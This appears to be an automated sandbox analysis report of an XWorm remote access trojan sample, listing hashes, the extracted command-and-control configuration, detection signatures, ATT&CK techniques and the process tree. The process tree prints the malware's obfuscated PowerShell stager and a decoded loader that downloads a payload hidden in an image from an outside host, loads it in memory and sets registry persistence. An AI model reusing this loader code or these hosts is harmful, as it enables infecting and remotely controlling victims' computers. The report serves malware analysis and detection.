xworm | c1c22fa37924cdd1c41c1b485b2686dbda7d7f9db5d314c40abfb840ab8950a2

General

Target

c1c22fa37924cdd1c41c1b485b2686dbda7d7f9db5d314c40abfb840ab8950a2.vbs
Size

156KB
MD5

cc2682120b5da60396761ae1acaa7194
SHA1

6f3e932331c1a5f051d50ed9f5a40152946f06b5
SHA256

c1c22fa37924cdd1c41c1b485b2686dbda7d7f9db5d314c40abfb840ab8950a2
SHA512

24e51481fbf2164190017c008edeb02f2e30d961ed1b9a4c02906340615ac1fcb28eb5ffa92867493a27196e4b1f5cdaa2ac2ffc5d83617768a6e0a2eded7776
SSDEEP

1536:B82qd99CObiNCocEW1aJK66n5yhtW0/5JpWn4ctIg0BfbUZlu9gISsRD:DqdY9JK6X/vcGg0Bfcc

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

xmay8000.duckdns.org:8000

Mutex

1xahivGykLCNnHwa

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 5 IoCs

resource	yara_rule
behavioral1/memory/1900-128-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/1900-133-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/1900-130-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/1900-134-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral1/memory/1900-135-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents 5 IoCs

resource	yara_rule
behavioral1/memory/1900-128-0x0000000000400000-0x000000000040E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/1900-133-0x0000000000400000-0x000000000040E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/1900-130-0x0000000000400000-0x000000000040E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/1900-134-0x0000000000400000-0x000000000040E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/1900-135-0x0000000000400000-0x000000000040E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	1368	WScript.exe
6	1368	WScript.exe
9	2732	powershell.exe
11	2732	powershell.exe
13	2732	powershell.exe
19	2732	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2780	powershell.exe
2732	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\secar.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2732 set thread context of 1900	2732	powershell.exe	33

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2780	powershell.exe
2732	powershell.exe
1900	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	1900	RegSvcs.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1900	RegSvcs.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 2780	1368	WScript.exe	28
PID 1368 wrote to memory of 2780	1368	WScript.exe	28
PID 1368 wrote to memory of 2780	1368	WScript.exe	28
PID 2780 wrote to memory of 2732	2780	powershell.exe	30
PID 2780 wrote to memory of 2732	2780	powershell.exe	30
PID 2780 wrote to memory of 2732	2780	powershell.exe	30
PID 2732 wrote to memory of 1540	2732	powershell.exe	31
PID 2732 wrote to memory of 1540	2732	powershell.exe	31
PID 2732 wrote to memory of 1540	2732	powershell.exe	31
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33
PID 2732 wrote to memory of 1900	2732	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c1c22fa37924cdd1c41c1b485b2686dbda7d7f9db5d314c40abfb840ab8950a2.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreeQBhDgTreG0DgTreeDgTreDgTrevDgTreGUDgTrecwDgTrevDgTreHUDgTreYQDgTreuDgTreG0DgTrebwBjDgTreC4DgTreZwBuDgTreGkDgTredDgTreBsDgTreHUDgTrecwBuDgTreG8DgTreYwBhDgTreHMDgTrebwByDgTreGEDgTrecgByDgTreGUDgTredDgTreDgTrevDgTreC8DgTreOgBzDgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBzDgTreGUDgTreYwBhDgTreHIDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreUwB2DgTreGMDgTrecwDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.yamx/es/ua.moc.gnitlusnocasorarret//:sptth' , '1' , 'C:\ProgramData\' , 'secar','RegSvcs',''))} }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2732
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\secar.vbs"
      4⤵
      PID:1540
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
925216ad37f5732c13f444f1bd87d7b6

SHA1
8ff97dcf8a9b1a2b5b45b88fb080feb65da9e2f6

SHA256
3da8a65b668924f69ca12fb815e51a4e0de02d0e7ed4833c6d966985d38fa71c

SHA512
7adaac86cdc4ae011784d8a6fb5c4e1fd7cd7b5fd2ad038cd7fcf8c3c2fffafffad4f9d3404c74cf49b7ecab59c3d8e09bca1bcbebad2ce58b3df485221e18e6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
29bf2976ed0608be7d2fb6d559f6dd59

SHA1
4bd4d12a74922f7f674af5063ee4cb0bb3d08a41

SHA256
3e0cae150fc369ab1df3da7676917219d00297d048e782c50a0863f42d629f24

SHA512
f7ae3b3aed48f315db117e6e64c33b5bc3d3b34a2970ef334f8c9870eaf73f5058350ed99fa3ee5cdb6b7cf1a6df1a88f5ff89b2363d4ae3fe4ccc72372e5e5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab2FC7.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2FF9.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f3e02c5cfc9be5597f79957425dece80

SHA1
50e4f19f591133efaed7864fe4f90a23eb614d25

SHA256
baeaf5147036f7525966d86e381a830814f7127be5df4ae39b6901732426ab88

SHA512
5e9808dac439b6676fe8ccba9596c889f15f847d718ee61e0e410e88209769f9438c2c1ec184365283ca394b3d34cf671d679010dd2746810583a7cff575c7f1

Download Submit
memory/1900-130-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1900-132-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1900-135-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1900-134-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1900-126-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1900-124-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1900-128-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/1900-133-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2732-104-0x000000001AE50000-0x000000001B110000-memory.dmp

Filesize
2.8MB

Download
memory/2780-101-0x000007FEF50A0000-0x000007FEF5A3D000-memory.dmp

Filesize
9.6MB

Download
memory/2780-20-0x000007FEF535E000-0x000007FEF535F000-memory.dmp

Filesize
4KB

Download
memory/2780-28-0x000007FEF50A0000-0x000007FEF5A3D000-memory.dmp

Filesize
9.6MB

Download
memory/2780-21-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2780-22-0x0000000002990000-0x0000000002998000-memory.dmp

Filesize
32KB

Download
memory/2780-136-0x000007FEF50A0000-0x000007FEF5A3D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads